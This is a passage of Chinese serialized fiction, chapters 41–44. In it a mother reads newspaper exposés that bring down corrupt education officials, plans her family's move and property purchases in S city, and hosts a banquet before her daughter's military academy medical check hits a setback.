陶枝心里有数了,“你借我这半个月的报纸,看完了我告诉你是什么事。”
蒋姐立马把一沓报纸拿出来,陶枝哗啦哗啦飞速在翻阅。
“你没订《正义先锋报》吗?”
“啊,我不知道,我不看报纸的。”
陶枝放下报夹,“那我回家找去。”
蒋姐连忙跟上,“你不能简单先说两句吗?”
“不能。”陶枝打开大门,花园里姹紫千红的,陈大姐打理得很漂亮。
才说曹操,陈大姐就迎了出来:“我刚还在说呢,好像听见你的声音了,刚找出来却没见到人。”
蒋姐很惊讶:“你一直住在这里?”
“是的,我给陶老师看房子。”
“那么多人来堵门,怎么都没见到你人?”
陈大姐露出一丝微笑,她有点不好意思地说:“我都是很晚才回来,白天去别的地方上班。我猜到陶老师要回了,才呆在这里等她的。”
陶枝找到了,六月二十的报纸,上面有一则加粗的标题:《高考前夕:谁斩了寒门学子的青云路?》
41. 第 41 章
报道的开篇写道:“万籁俱寂时,一阵急促的电话铃声,撕裂了宁静的夜晚。听筒里传来的,是粗重的呼吸,和恶毒的辱骂。这已经是本周的第21个恐吓电话,背后书桌上陈放的,‘离高考还有50天’的倒计时,在窗人冰冷的月光下,显得格外的刺眼。”
后面详细描述了,对方实施的报复:扔动物尸体,家门口被泼油漆、收到匿名威胁信,还有陌生人在四周徘徊。
郑记者还着重描绘了,一位母亲的坚强与无助。“她擦干了眼泪,将女儿护在身后。她知道,这一切都是由于她之前做的决定——一个她至今不曾后悔,却让家庭陷入困境的决定。”
最后,刊登在报纸上的,是程曼的退学书。郑记者问了一句:“究竟是什么样的决定,让对方不惜如此下作,也要阻止一个女孩走向考场?”
这一个点睛之笔,将整篇文章推向了高潮,陶枝佩服得五体投地。
她在继续往后翻,不出意料,之后连续几天,都有在追踪报道。
第二篇是《一封举报信的背后》。文中首先回应了昨天的问题,这个艰难的决定就是,受害者的母亲,T女士投了一封举报信。从一开始就叙述,C同学在学校是如何被欺凌,T女士是怎么去报的警,校方和警方推诿的态度,逼得这位母亲,只能求助好心人的帮忙,自行在私下里去查证,从而发现了异常的地方。欺凌者学习极差,却能进重点高中,只因她有一个在教育局工作的妈妈?
T女士艰难地收集证据,然后她发现,受害者的不仅仅只有女儿,还有更多没地申诉的学子。通过缴费记录、录音、名单对比等等,她夯实了自己的证据。T女士不再是出于私心,而是为了更多的学生,她决定将此事举报上去。
本报记者经过调查,证实了T女士的举报内容:市教育局招生办负责人孙某,涉嫌通过暗箱操作,将不符合条件的学生‘送入’重点中学。”
郑记者在最后点题:“在孙某问题被初步调查后,T女士的家就成了报复的目标。T女士坚称,这一切都与孙某的家人有关。”
第三篇开始变犀利了,《疯狂的报复,凭借谁的力?》
官方表明,孙某已被停职查办。
郑记者话锋一转:“那么,针对T女士的报复:跟踪、恐吓、威胁,雇佣社会人员。这些行为需要财力、人力和‘协调能力’,一个正被调查的普通干事,如何还能调动这些资源?并且,在教育局同仁的眼皮底下,她为何敢这么大胆受贿的?许多受害者及知情人士,向本报提出质疑:其家人是否参与其中?背后是否存在更大的保护伞?”
“本报记者在进一步调查中发现,孙某的丈夫,就任于某部门的郭处长,在其妻被调查后,活动异常频繁。”
“此前曾向孙某行贿,以换取学位的家长中,不乏与郭处长所在部门,有业务往来的企业老板。亦有迹象显示,其家庭消费水平,与公开收入严重不符。”
郑记者又问:“郭处长和买卖学位,到底有没有关系呢?”
第四篇则拐了个弯,是《名单之上,名单之下》。郑记者采访了教育专家、和疑似被顶替的学生家长,探讨这种腐败对教育界的打击。
“当一个孩子的未来被明码标价,我们的寒窗苦读是否还有意义?”
第五篇,《夫唱妇随的权利追踪,起底郭处长的生意经》。
“经多方调查核实,孙某的丈夫、市某局处长郭某,涉嫌滥用职权,以权谋私,干预司法,贿赂上级。”
公布的证据有:打码的财务来往凭证,不合格却通过的企业,重点中学的录取名单,某企业老板的证词,还有其家里搜出的账本。这一本简陋的手写账本,成了定罪的最关键证据。
“郭处长查实后‘双开’,并移送司法机关处理。”
“其妻孙某,徇私舞弊,买卖名额,受贿属实,移送司法机关。其女郭盈,年龄已满18岁,涉嫌‘故意伤害罪’,处三年有期徒刑。”
所有的报道,到这里结束。陶枝看完,长舒了一口气。
蒋姐也跟着看完了,她瞧见陶枝的作态,不禁一拍大腿道:“你不会就是那个T女士吧?”
她不需要陶枝回答,自顾自的继续说:“怪不得呢,我刚就是想问你,你得罪什么人了?我最近见过好几次,都是些不认识的人,往你家扔臭狗屎,扔烂鱼烂虾,还在你门口摆花圈。”
蒋姐一拍陶枝:“小陶,好样的,你做了件大好事。你应该和我们通个气,邻里邻居的,大家都能出手帮帮忙。”
陶枝也笑:“以后不会了,平平安安最重要。”
蒋姐得到了答案,她自己也有事忙,就先和陶枝告辞了。
现在家里一尘不染,完全看不出曾经的遭遇,陶枝向陈大姐道谢:“辛苦你了。”
陈大姐摇摇手,“应该的,应该的。”她拿过电话下压着的纸:“陶老师,这是之前打电话找你的。”
陶枝接过来一看,有闻煦,程大川,程向楣,周村长,施工队。最后一个,黄新月?
她问陈大姐:“这位黄同学,是不是找程曼的?”
陈大姐探头:“不不,都是找你的。”
陶枝很纳闷,找她干什么?不过现在多想无益,她坐下来,一个个电话拨回去。
第一个回的是程大川,打得是板厂的电话。他一接起就说:“大伯娘,我去家里找你。”
那就是没急事,陶枝应他:“你自己有钥匙,有空你就回。”
第二个打给周村长,周尚民说:“幼儿园快完工了,等你回来办开园仪式。”
陶枝下意识问:“哪一天?”
周村长愣了:“看你哪天有空?”
陶枝回过神,自己都笑了:“那我定好时间再告诉您。”
第三个打给施工队,对方说房子建好了,问她什么时候能验收?
陶枝想了想,“后天吧。”
第四个打给黄新月,还是那个害羞的黄同学,她怯生生的说:“阿姨,同学们交代我,让我替他们,跟您说一声谢谢。”
陶枝很温柔:“同学们都好吗?”
黄新月愉悦地笑了:“知道坏人也有怕的人,我们再也不怕他们啦。”
“好孩子,祝你和同学们,大家都金榜题名,好好读书前程似锦。”
第五个打给程向楣。小姑子跟守在电话似的,她一接
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起:“喂,是嫂子吗?”
“诶,是我。你怎么不打家里去?”
“我打的就是家里电话啊。”
“我说老家。”
“嫂子你回去了?”
“阿姨没和你说?”
“她说你有事出去了。”
陶枝想起来了,她没告诉陈大姐。
“没事,我现在回来了。”
“嫂子,程曼退学了?”
“我没和你打招呼吗?”
程向楣很委屈:“我什么都不知道。”
“不好意思,我那段时间,过得浑浑噩噩的,什么都想不起来,我也不记得说没说。”
程向楣一听,顿时不敢抱屈:“嫂子对不起,发生了那么多事,我还是看报纸才知道,李启泽什么都不跟我说。”
陶枝笑笑,接过话头:“我叫他别告诉你的。”
程向楣一听,舒了一口气:“我还以为他故意瞒着我呢。”
“他也是疼你,才不想你担心。”
“嫂子你哪天在家,我过去看看你们。”
“大后天行吗?”
“可以可以,嫂子到时见。”
挂了小姑子的电话,陶枝平复一下心情。
要说心里没想法,那肯定是假的,只不过陶枝想得开。大家都在生意场上混,俗话说和气生财,再大的不适也埋在心里,不会在面上表现出来。
其实道理陶枝都懂,如果说出头代价太大,人家不愿意帮这个忙,这是完全说得过去的。她唯一过不去的,就是李家也不说一声,不然她起码有个准备,程曼也不至于遭无妄之灾。
陶枝这次回老家,老头子还说,妹夫又给加了订单,机械厂最近一直在加班加点。粗略算一下,这一单做完,又多了上百万收入。说这话的时候,老头子是很高兴的,陶枝也就顺势跟着夸。
第一是看在钱的份上,自己家能起来,确实李家扶持了不少,人首先要懂得感恩。而且老头子这一单,这额外的上百万,明显就是在变相补贴。第二就是,自家那点资产,连人家的零头都不够,拿什么去和人置气嘛?最重要的一点,幸好程曼无大碍,并且还找到了目标,福兮祸兮,所以陶枝才能不生怨怼。
虽然她花了不少钱,但她没有去求人,通过自己找回了场子,所以陶枝今天很高兴,看什么都是天清地宁,也就不计较过去那点事了。
最后一个电话,陶枝拨给闻煦。叮铃铃了很久,都没有人来接,她只好先挂了。
陶枝伸伸懒腰,打算去花园里走走,她刚走到大门口,就看到闻煦和袁衡,两个人正推门进来。“咦,我正准备给你回电话呢。”
闻煦哈哈大笑:“一听说您回来了,我们立马跑过来。”
袁衡提着大包小包的,跟在后面走得比较慢。
“你们来就来,还带什么东西?”
“都是袁哥带的,和我没有关系。”
袁衡笑了:“都是老家的土特产,带来给您尝尝鲜的。”
陶枝也不客气了,叫他把东西放厨房。
“看你们笑容满面的,是不是有什么好消息?”
“还是瞒不过您。”
42. 第 42 章
陶枝笑着鼓励他:“越分享,越快乐。”
袁衡倒不好意思了:“陶姨,我升职了。”
陶枝很惊讶:“之前不是说要降职吗?”
“改成内部处分了。”
“一边处分,一边高升?”
“那倒不是,升职通知刚下的。”
陶枝嘴角含笑:“得亏领导慧眼识英雄,没有错失你这位人才。”
“原来的上级被调走了,新来的领导挺欣赏我的。”
陶枝真心为他高兴:“现在不想辞职了吧?”
袁警官挠挠头:“陶姨,小闻,谢谢你们,不过我确实更喜欢呆在警队。”
“那祝贺你,时来运转了。”袁衡有天赋也有勇气,并且专业能力也强,这样的人坐冷板凳,或是离开警察队伍,倒是群众的一大损失,陶枝由衷感到开心。
陶枝问:“在家吃个便饭,应该没影响吧?”
袁警官忙说:“这个没问题。”
陶枝吩咐陈大姐多加几个菜,大家一起,热热闹闹给袁警官庆贺。
**
陶枝和老头子通电话。
程向前在吐槽:“明明一来到海边,马上拖鞋脱袜,一边跑一边叫:‘哇,这就是大海啊。’带着程今去玩沙子,踩浪花,还想扑进海里游泳,累得我们人仰马翻。他倒好,玩到都不想回酒店。”
陶枝乐不可□□你们在海边住一晚好了。”
“已经住了一晚,刚才就是趁他午睡,我们才赶紧回来的。”
“明明平时不吵不闹的,看不出来还有这一面。”
“阿枝,我正想和你说这事。”
“怎么了?”
“程晙租的车有司机,这两天一直带我们逛。今天回来后,程晖程星都说,如果你真要搬来s市,就想在这里买套房子。”
“可以啊,想买就买。”
“但是你不是要建房吗?”
“建房和买房又不冲突,年轻人总要有个自己的窝,天天跟我们住也不像话。”
“那钱方面怎么说?”
“多少钱一套?”
“四五千一平方,他们看的是70平,算下来约35万一套。”
“可以贷款吗?”
“需要本地户籍。”
“我还有80左右,你手里有多少?”
“妹夫给的预付款,加上近一年的利润,差不多有100万。”
“那你问问程晙和程曼,如果他俩也要,那就直接一人一套。”
“我们两个呢?”
“程晙和程曼的,随便谁的先住着,我要建花园洋房的。”
“好的,那我现在去问。”
“老头子,最好买A区的房子,你跟他们说一说啊。最好多跑几个楼盘,多交叉相互对比一下。”
“好好,我晚点再打给你。”
电话刚撂下,程向楣就来了,拎来一大堆东西。
“大妹,怎么又买这么多?”
“很多都是别人送的,嫂子你帮我消化下,送些给左右的邻居。”
“不是有福利院吗?”
“比较贵的不送过去,老李说这样影响不好。”
“那我就借花献佛了?”
“多谢嫂子帮忙才对。”
“今天怎么有空过来?”
“上吊也要喘口气啊,做李家媳妇这么久,端庄大方是够够的了。也就在哥哥嫂子面前,还能做回过去的自己。”说完她果真把鞋一脱,整个人摊开在沙发上。
“你和妹夫吵架了?”
程向楣摆手,“吵不起来的。”
“为什么?”陶枝觉得很新奇。
“以前他忍我,现在我忍他,年轻时没吵过,现在要吵都不习惯,干脆两人都闭嘴了。”
陶枝只觉得好笑。
“嫂子,其实我知道的,他之前拦着我,不让我来找你,肯定心里另有谋算。幸好程曼没事,不然我这心哪,天天在油锅里煎,一刻都不得安宁。”
陶枝拍拍她:“不痴不聋,不作家翁,你就当作不知道好了。”
“嫂子,你说他家是不是看不起我啊?”
“这话怎么说?”
程向楣嘟嘴:“我的娘家人都不帮,那不就是看不起我?”
陶枝一秒变严厉:“阿楣,做人要讲良心,你算过没有,妹夫帮了咱家多少?”
“那为什么这么小的事,他都不肯出面说两句?”
“因为有些人情欠不得。”
“都没有帮忙,哪来的人情?”
陶枝很头疼,“阿楣,你是看了新闻的,被拉下马的都有谁,你应该还有印象吧?如果李家帮我们走动了,万一托的就是那些人。然后因为这件事情,李家被视为是同党,或者是贿赂当中的一员,你就说到时食品厂该怎么办?我和你哥又该怎么面对你们?你最应该做的,是感谢他们的谨慎,给了你一方安宁。”
陶枝同时也是说给自己听。
“有这么严重吗?”程向楣声调变弱。
“贪污受贿,向来不轻放,你说严重不严重?”
“那他可以直接跟我说的。”
陶枝放柔了声音:“这不是怕你钻牛角尖吗?”
程向楣的脸上浮现了红晕。
“没事,现在明白也不迟,回去妹夫说开了,两人好好过日子。”
“还有,听你哥说,妹夫这次给了个大订单,交货之后能赚个上百万。”
程向楣这时就很灵通了:“定货周期是多长?”
“好像是半年。”
程向楣冷哼一声:“一个月也就十来万,这叫狗屁的大订单,一看就是在哄我呢。”
陶枝失笑:“问题是,你哥又不止妹夫一个客户。”
“幸好咱家现在不靠他吃饭,还是嫂子你有先见之明,说做生意最忌靠亲朋帮衬。”
“我指的是生意想要做大,必须得开拓陌生市场。而且如果不是妹夫,咱家也起不来这么快呀。”
程向楣哼哼:“暂且算他一功。不说他了,程星他们呢,怎么就你在家?”
“他们都出去玩了。”
“不用上班的吗?”
“阿楣,嫂子和你说个事。”
程向楣立马坐起来。
“我和你哥,打算搬到S市。”
“怎么这么突然?”程向楣一脸不舍。
“应该说之前就想过,但是一直没有契机,现在是机缘成熟了。”
“那这里的房子呢?”
陶枝得意地笑:“幸亏我有先见之明,全部建成了出租屋。”
“嫂子,你不会那时就想走了吧?”
陶枝哈哈大笑:“比那还早。”
程向楣这才稍感安慰。
“那以后就不能时常见面了。”
“叫司机送你来,哥嫂家永远欢迎你。”
程向楣一直磨到吃完晚饭,等到李启泽来接,这才施施然回自己
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家去。
陶枝这才给老头子回电,他们在酒店包了个套房,之前就给陶枝留了号码。
老头子说:“问过两个小的了,程晙看不上,程曼不想要。”
“他们人呢?”
“逛街去了。”
“你怎么不一起?”
“算了,我这把老骨头,跟不上年轻人的步伐。”
“他俩的原话是怎么说的?”
“程晙说:‘我都准备自己开发了,还买别人的房子,这不是等着闹笑话吗?’程曼就说大学还有几年,以后也不知道在哪,所以不想买房子,只想跟着我们住。”
“行吧,那就随他们去。那在房子建好之前,我们要不要先买一套?”
“到时和程晖程星分开住?”
“那肯定啦,都这么大人了,我也想清净清净。”
程向前笑他:“你是怕孙辈吵你吧。”
陶枝不承认:“哪有,他们都不知有多乖,主要是因为我没空。”
老头子不纠结,“那咱俩买多大的?”
“既然小的不买房,那就把他们都算上?四口人,四个房,最少的了。”
“但是我去看了,四房的户型少,设计得也不合理,价格也相对贵一些。”
“那你的意思是?”
“就买两房或者三房的好了。实在不行,叫他俩去哥哥姐姐家住,过渡一下总该没问题吧。”
“如果这样,那程晖程星,要不要直接买三房?”
“诶你提醒了我,我忘了和你说,在这里买房子,有个很奇怪的地方,70平不是实际的套内面积,而是包含了一个‘公摊面积’,你说说这事要怎么搞?”
公摊面积,陶枝听过这个词。在地府聊天时,一些新来的年轻人,痛骂香港的地产商们,血液里都流着肮脏的东西,就因为他们搞了这个所谓的“公摊”。
但是也没办法,陶枝清楚记得,在未来的三十年,这个公摊依旧未能取消。
她只好劝老头子:“我听说过,这个公摊,是指公共区域,包括电梯井、管道井、楼梯间、变电室、大堂、过道等等。楼层越高的建筑,公摊面积就越大。”
“那我们买矮一点的房子?”
“应该说买不带电梯的房子。”
陶枝没记错的话,6到8层高的小区,是以后拆迁的主要对象。
“看房时你自己计算下,公摊太高的就不要,不然房子小了住得不舒服。有公摊的话,干脆我们都买三房的吧,老头子你怎么看?”
“我要实地去看。”老头子回她。
“还有,如果一下子买几套,是可以拿到折扣的。如果销售不说,你就主动问一问。”
“我都拿笔记下了,还有别的吩咐吗?”
“你叫程晙给我回个电话。”
“那都不知道几点去了,要不你跟我说,我再转告他?”
“也行,你叫他明天去跑跑门路,看有没有办法办到贷款?我听别人说过,找对路子是能办的。”
程向前不知脑补了什么,他一下子紧张起来,捂着嘴巴用气音说:“老婆子,程曼可是要上军校的,我们不能做不好的事。”
陶枝翻了个白眼:“可以就贷款,不行就全款,我能干什么坏事?”
程向前这才把心放回肚子里。
“那辛苦你去多跑跑,孩子们的随他去,咱们住的尽量舒适,我忙完再和你们汇合。”
“好好,你尽管放心。”
43. 第 43 章
面对着这栋灰扑扑的房子,陶枝怔怔在原地,她怀疑自己是否眼花了?
她眨了眨眼,看了看身边,再望望前面,很好,没有丝毫变化。
陶枝不禁怀疑,难道是她没付设计费?还是有人私吞了她的钱?
许是她的表情太明显,周村长连忙解释道:“只是还没装修好,房子里都刷了白的。”
陶枝回过神来,冲击有点大,她吞了吞口水:“周村长,这就算建好了?”
仿佛是怕陶枝想歪,周尚民忙矢口否认:“还没,还没,这只是个框架。”
陶枝这才松了口气,开始打量这栋小楼。其实也没什么看的,L字型的两层楼,外面抹着水泥灰墙,窗户都还空着个大洞,看起来就是个未完工的毛坯。前面的沙坑倒是挖好了,但是里面也没有填沙,更别说户外的设施,那是一个都没看见。
幸好不是已完工状态,不然真是丑到她眼睛,陶枝完全不想进去看。她问出了自己的疑惑:“房子都还没建好,怎么就说要开园了?”
周村长露出憨厚的笑,“这不是之前程老哥说,你准备要搬去s市了,我就想在你临走之前,把这开园仪式给提前办了。”
陶枝想象一下,她穿得漂漂亮亮的,站在这灰不溜秋、土里土气的背景前,那画面太美她不敢想,于是她果断拒绝了周村长的“好意”。
陶枝和周村长说:“我在不在场,一点也不重要,重要的孩子能有个好的环境。”她顿了顿,继续说:“到时拍两张照片给我就行,开园仪式就拜托村长您了。”周尚民连声应好。
陶枝约了设计师,一起去验收房子。在去的路上,她旁敲侧击,骗取了设计师的保证,幼儿园一定会按设计装修,心里这才感到轻快起来。
这边验收也是,她就跟在后头,听着设计师挑刺。一番检查下来,没有什么大问题,陶枝爽快结了工程款。
忙完回家,程大川夫妇已经到了。
“吃过饭了吗?”陶枝问。
“在街上吃完才回来的。”
陶枝点头,“我今天看到了,建筑主体已经完成,你感觉学得怎么样?”
“体力活做几遍就能上手,简单一些的技术活,多摸索几次也能掌握。就是技术性强的工种,感觉还得找老师傅带带。”
“图纸能看懂吗?”
“现在可以了,包工头不藏私,教我挺用心的。”
“如果我给你一块地,你能给我建出房子吗?”
程大川拼命摇头,“我现在连大工都不是,起码还得学个两三年。”
“那装修这一块呢?比如说泥瓦工、木工、油漆工,水电工?”
程大川挺起胸膛,“这个倒是没那么难,我们已经有人出师了。”
陶枝眼睛一亮,瞬间有了主意,不过她需要再确认一下。
“你是更喜欢搞建筑,还是更愿意搞装修?”
程大川和覃玉芬对视一眼,然后他才谨慎回答:“应该是装修吧。”
“方便说说为什么吗?”
“因为这个比较容易上手,将来如果我们立得住脚,就能多带点村里人出来。”
陶枝在心里暗暗点头,不愧是二叔教出来的孩子。
于是,她一秒正色,“大川,玉芬,我打算搬去s市,这事你们是知道的。”
他们两个点点头。
“那么,接下来的话,你好好听一听。我可能月底就出发,到时会退了这栋楼。原本我以为,学建房子很容易,这样我走的时候,你们就可以跟着我,一起去s市帮我盖房子。”
程大川听得很认真,陶枝默默表示认可。
她接着说:“既然现在,你选择了装修,那么我这边,就得先建好房子,才能给你去装修。那有两条路给你选,一是你继续在这学手艺,等学出师了再去s市;二是你也跟着我去s市,在那边试着接一些小单,边学边做,总归也能慢慢上手的。”
“我这么说是因为,既然我们都在s市,那最终我的期望是,把你们也带去那边。不管从你们的发展来说,还是孩子上学选择学校,大城市起码是有更多可能性的。”
“最重要的就是,不管在哪个城市,想定居首先得有房。不瞒你们说,程晙准备开发房地产,第一站定的就是s市,到时候自家人买房,肯定比市面上便宜不少。这就是为什么,我也想带你们去s市的原因。”
“不用担心你们买不起,如果你们不想自己搞,那我可以注册一个公司,你们就挂靠在这公司下面,之后可以办理贷款买房,首付只需要给三成就够了。”
陶枝心里暗想:大不了我私人给你们放贷。一套房而已,谁还买不起了。
程大川和覃玉芬,两个人都听呆了,原本连市区的房都不敢想,现在大伯娘张口就是s市的房。那可是一线城市啊,卖了他俩都不知道买不买得起一个卫生间。
等平静下来想一想,大伯娘说得又很有道理,莫名觉得热血沸腾是怎么回事?他俩都在彼此的眼中,看到了眼底闪耀的光芒。
拼了?拼了。
程大川开口:“大伯娘,我听您的。如果想要走得长远,那我们确实还需要打磨。不知道大伯娘认识什么老师傅吗?”
“你想在这里再学一阵子?”
程大川坚定地点头:“不仅仅是我,堂兄弟们也需要。”
“那我帮你问一问。”
他喜上眉梢:“谢谢大伯娘。”
陶枝直接联系装修队长,她简单说了几句,特别着重强调,程大川学成后是去s市,不会在本地和他抢生意,问队长愿不愿意收几个学徒?
队长有点为难:“说是这样说,到时候人要不走,我也拿你们没办法啊。”
陶枝退一步:“不要工资呢,只求学点技术。”
队长觉得好笑:“工资才几个钱。”
“队长,那你说下条件?”
“学会了再帮我干几个月?”
“不发工资的那种?”
队长呵呵笑:“就当交学费了嘛。”
“那要多久才能学会?”
“这要看个人悟性,基本不超过一年。”
“学徒也是免费劳工了嘛,这怎么算你也是赚的呀。”
“陶姐,我都是看在你的面子上,你是不知道,收一个学徒麻烦事可多了。”
“那这样行不行,几个月又没个准则,就让他们帮你干一个工程?说不定能省你几个大工的钱。”
队长想了一下,“也行吧。”
陶枝麻溜的,“那就从幼儿园这个项目开始?”
“行行行,要能吃苦的啊。”
“你放心好了,有事你找我。”
陶枝挂了电话,庆幸还有
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个工程,不然怕是不好找人。
覃玉芬一脸崇拜的看着她。
陶枝笑了:“玉芬啊,你跟着大川多锻炼,到了我这个年纪,一定会比我更厉害。”
“那不会。”覃玉芬立马摇头。
“很多东西,学学就会了,不要害怕,其实一点都不难。”
“我这脑子都生锈了,经常转都不转一下。”
陶枝含笑看着她:“有一个很好的办法,你只要想着:我要给孩子做好榜样,如果我想孩子比我更厉害,那我自己就要先厉害起来。如果你坚持这个信念,很多事情,自然而然你就会去学了。”
覃玉芬听得两眼冒星星。
陶枝突然想起:“你家的胖小子呢,这一年打算怎么办?”
“大伯娘,您建的这所幼儿园,收不收这么小的孩子?”
陶枝当时没考虑到托儿所,“我得问问周村长才知道。”
“如果肯收的话,我们就把他带过来。这样白天上班再累,晚上也能见一见宝宝。”
陶枝赶紧把这事记下,她打算也和程晙提一嘴,叫他到时在自己的场地,也搞一个这样的托儿所。企业家守则第一条:要懂得为员工解决问题。
“如果是这样的话,我那栋收租的房子,给你们留几个房间。就算是包吃包住,工地再怎么说,也不适合孩子居住,到时你叫上有孩子的一起。”
程大川不要:“大伯娘,这怎么好意思?”
陶枝按住他:“这不是给你住的,是给大胖小子住的。除了你儿子,还有其他孩子呢,所以,你没权利替他们做决定,明白吗?”
陶枝说完懒得理他,她转去问覃玉芬:“这段时间,你在工地里,都做些什么,有地方住吗?”
“大川跟着打下手,我就在工地帮忙做饭。周村长看我勤快,在村里给我找了间房。”
“你也辛苦了,做这么多人的饭,如果这次还叫你去,你记得跟队长要工资,知道吗?”
“我...我...我说不出口。”
陶枝顿时看向程大川,他也一副开不了口的样子。
陶枝叹了口气:“如果队长不提工资的事,你就不要去,能做到吗?你就说儿子没人带,这样也全了他的面子。”
覃玉芬点头:“大伯娘,我听您的。”
陶枝摸摸她的头,“来吧,看看这房子里,有什么用得上的,都搬到租房那边去。”
把覃玉芬给感动得,泪水在眼眶里打转:“大伯娘,您对我们真好。”
“那是因为,大川的爷奶,和他爸爸妈妈,对我们家也很好呀。”
晚上,陶枝把这个安排,和老头子提了一嘴。
程向前夸她:“这也是我能想到的,最好的法子了。”
陶枝问:“这里的家私家电,是搬到s市,还是放到出租房去?”
程星在旁边听到了:“妈,妈,我要我要,可以放我房子里。”
程晖也说要,明明喜欢他的床。
“我答应了给玉芬一些家具。”
老头子就说:“那就除去给她的,其他的都搬过来。”
“其他那些堂侄怎么办?”
“他们最多住一年,这些花了大价钱的,之后没人用也是浪费。你干脆去市场重新买,到时还可以给租客用。”
“好,那就这么办。”
44. 第 44 章
陶枝接到校长报喜,程曼考了个全县第一,上军校妥妥稳了一半。她按捺不住话里的激动,强烈要求陶枝大摆宴席,陶枝笑吟吟地连声答应。
程向前收到消息,房子也不看了,急忙带着一家子回家。
程曼在高考前,已经带着《政治考核表》,到各单位办理了初步的手续。现在成绩已然过线,就等着军检的通知。
三天后,程曼收到这张通知书,上面写着:“程曼同学,请于1996年8月15日上午7点30分,携带身份证、准考证、一寸照片,空腹到市人民医院门诊楼前集合,参加军校招生体检。逾期视为自动放弃。”
距离梦想又近了一步,程曼高兴得夜不成寐。
程曼的高考成绩,像阵微风一样,吹遍了县里的山河大地,就连远在深山的亲戚,都隔着电话线发来祝贺。忽然之间,家里的电话一直没停过,不仅仅是家里的亲朋好友,还有程曼的同学们,甚至连老头子的供应商与客户,都一一打电话来道贺。
接了两天电话后,陶枝嘴巴都快说干了,她觉得说话也累得慌。离程曼体检还有一周时间,她决定索性先把谢师宴给办了。
陶枝在县里最好的酒楼,包了整整一层楼。酒楼把排面给做足了,几个充气的红色拱门,沿着大门一路排开,上面写着“恭祝程曼同学金榜题名”。
程曼觉得很是羞耻,她提出了严重的抗议,可惜被陶枝无情镇压了。
因为没人有空专门迎客,陶枝远远看过一眼,这个拱门的指路效果最好,所以她要求必须保留下来。
宴客的这一天,从大中午开始,就热闹得不得了,噼里啪啦的鞭炮声,炸响了酒楼这半条街。孩子们在硝烟里,追逐嬉戏打闹,笑声一声高过一声。来自各方的寒暄,热烈道贺的声音,个个都喜气洋洋,显得这里热闹非凡。
小姑子小叔子提前到的,他们今天都得出面,帮忙招待络绎不绝的宾客。
好多带着小孩来的,都想来沾沾程曼的灵气,她被迫当了半天的吉祥物。
妹夫李启泽到来很正常,出奇的是,他把李家三少也给带来了。主桌上安排的全是老师,陶枝不打算变动,因此把他们安排到了次桌。
机械厂的工人们,老头子大手一挥,每人发了两个月奖金,所以他们也特地来为程曼庆贺。
陶枝一早说过,不收任何的礼金,程曼把同学朋友也给请来了。
酒楼中座无虚席,廊道亦挤满了宾客,端的是门庭若市。程向前满心欢喜,他吩咐工作人员:“今天不管来多少人,都是我们的贵客,一定要给我招待好了。”
好吃的饭菜,伴着美酒佐餐,宾客们或颔首微笑,或交口称赞,脸上都洋溢着满足的笑容。这一幕,宣告了宴会的圆满成功。
在全家人翘首以盼中,体检这一日终于来到。
程向前一早起来收拾,他要亲自送女儿去体检。
程曼都整理好之后,陶枝也检查一遍,确认没有遗漏了,父女俩就出发前往医院。
程曼如期排队去体检,外科,内科,眼科,耳鼻喉科,一切都特别顺利。
排到做X光的时候,医生直接问:“头部有没有受过伤?”
程曼心里一咯噔,脸上的血色褪去,她抿了抿嘴说:“颅骨骨折过。”
医生抬头看了她一眼,叫她坐过来,用手仔细触摸她的头皮。果然,在后脑勺那里,摸到一块不太平整的皮肤,骨头部分有微微的隆起。
医生没有说什么,叫程曼先照X光。医生拿到X光片,在后脑勺那里,有一道清晰的条状高密度影,与正常的骨纹理截然不同。医生一看,是骨痂愈合线,没跑了。
医生问程曼,“有没有医疗证明?”
程曼回过神来,忙不迭在背包里,找出《近期医学鉴定报告》,端端正正递给医生。只见报告上写着:证明程曼的颅骨骨折,完全康复且无任何后遗症。
医生无视她的忐忑,把报告留了下来,并且告诉程曼说:“体检结果会在3到7天内出来。”
程曼忐忑地做完剩余项目,一言不发地跟着她爸回家。到了家之后,一见到陶枝,眼泪唰地就下来了。
陶枝吓得打了老头子一下:“怎么了,怎么了?哪个欺负你了?”
程曼抽抽噎噎地说:“我的体检,可能过不了。”
“为什么啊?”
“一说到颅骨骨折,医生看我的眼神就不太对。”
陶枝像被泼了盆冰水,从头凉到了脚板底。
她安抚程曼,“你先别着急,吃完饭我帮你问问情况。”
程曼抬起泪眼:“妈,不能现在问吗?”
“在吃饭时间打扰人家,你觉得礼貌吗?”
程曼这心事没放下,压根都没心思吃饭,她机械地往嘴里送着饭粒。
陶枝只好把菜夹到她碗里,虽然食不知味,但只要有吃下去就行了。
陶枝找她闺蜜,把程曼这情况一说,她直接问姜校长:“程曼是不是有可能被刷下来?”
姜校长也很直接:“绝大可能被判为不合格。”
“但是医院证明她已经好了。”
“但军事训练强度是很高的,你也无法否认,受过伤之后的脑袋,依然存在一定的潜在风险。”
陶枝很懊恼:“我应该一早问问你的。”
姜校长也很幽默:“谁让你瞒得这么好,你看连我都不知道,程曼的颅骨还受过伤。”
陶枝追悔莫及:“有没有可以补救的办法?”
姜校长很正色:“现在说什么都为时尚早,一切等结果出来再说吧。”
陶枝挂掉电话,心情也不甚美妙。
一件板上钉钉的事,突然生出这样的变故,陶枝怪自己功课没做足。
她只好去和程曼撒个小谎:“校长说了,五十五十的概率,结果没出来之前,谁都说不好。”
程曼眼里满载着希冀:“这么说,我还有可能?”
陶枝昧着良心点了点头。
“那医生为什么说要3到7天?”
“说明军校不搞特殊啊,对每个人都一视同仁,到时间了才公布结果。”
程曼回想一下,好像是这样,其他人也是回家等通知。
陶女士从来不骗人,程曼放下一半的心:“那我就乖乖等结果吧。”
陶枝胡乱点点头,“那你再多看会书,我去洗漱准备睡觉了。”
程曼挥手:“
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妈妈,晚安。”
陶枝在床上辗转反侧,姜校长的话不是空穴来风,她肯定是见过这样的案例了,那证明程曼的机会确实很渺茫。
如果程曼是什么天才、奇才之类的,是军队急需的的特殊人才,那陶枝觉得还能向上拼一拼。但她就是一普普通通的高中生,最多就是考试成绩好了点,也没见显露出什么特殊的才能。就算靠着亲妈滤镜,陶枝也没法骗自己,说程曼是百里挑一的人才。
陶枝回想事情的起源:程曼是因为被打了,看到李家的撒手不管,看到警方被权利操控,看到陶枝为她不停奔走,她是基于这些事情,才萌生的要考军校。
陶枝总感觉,程曼身上有股劲,一股永不服输的劲。她猛地一激灵,程曼不会是——见识到了权力的力量,才决定报考军校的吧?
陶枝怀着重重心事睡去。第二天起来,她脸色蜡黄,显得人特别憔悴。
程曼看到吓一跳:“妈,您怎么了?”
